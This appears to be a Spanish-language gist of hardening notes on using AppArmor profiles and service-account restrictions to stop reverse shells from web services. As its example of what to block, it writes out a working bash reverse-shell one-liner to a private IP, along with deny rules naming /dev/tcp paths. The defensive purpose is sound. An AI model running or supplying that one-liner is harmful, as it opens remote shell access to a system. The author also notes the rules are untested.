Skip to content

Instantly share code, notes, and snippets.

@nullx5
Last active December 16, 2025 09:02
Show Gist options
  • Select an option

  • Save nullx5/72aedd9c7295e80f10e9e3e35e0692f6 to your computer and use it in GitHub Desktop.

Select an option

Save nullx5/72aedd9c7295e80f10e9e3e35e0692f6 to your computer and use it in GitHub Desktop.

configurar apparmor

  • crear perfiles por aplicacion

Bloquear reverse shell bash -i >& /dev/tcp/192.168.100.5/443 0>&1

sudo apt install apparmor

sudo systemctl status apparmor

sudo aa-status     # apparmor puede tener perfiles por defecto

sudo aa-genprof bash   # generar perfil para bash

sudo nvim /etc/apparmor.d/usr.bin.bash    # editar perfil
deny /dev/tcp/** rw,                       # evitará que cualquier proceso Bash abra conexiones de red
deny /dev/udp/** rw, 
deny /dev/raw/** rw,

sudo apparmor_parser -r /etc/apparmor.d/usr.bin.bash    #recargar perfil

#falta hacer pruebas

✅ AppArmor

Perfil estricto para shells usadas por servicios web:

Prohibir:

- modo interactivo
- señales de job control
- apertura de sockets

Ejemplo conceptual (no explotable):

deny signal (send) peer=bash,
deny capability sys_tty_config,

Abuso de procesos legítimos (“Living off the Land”)

Usan binarios del sistema:

🔍 Indicadores reales de compromiso:

- Proceso normal iniciando otro proceso
- Padre: nginx / apache / node
- Hijo: shell

✅ AppArmor por servicio: 👉 El servicio web no puede lanzar shells, aunque exista RCE.

✅ Hardening del sistema

Usuarios de servicios deben tener shell deshabilitado con /usr/sbin/nologin i /bin/false
revisar /etc/passwd

🧩 Frase clave para que la recuerdes

“Las reverse shells no hacen login, ejecutan procesos.”

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment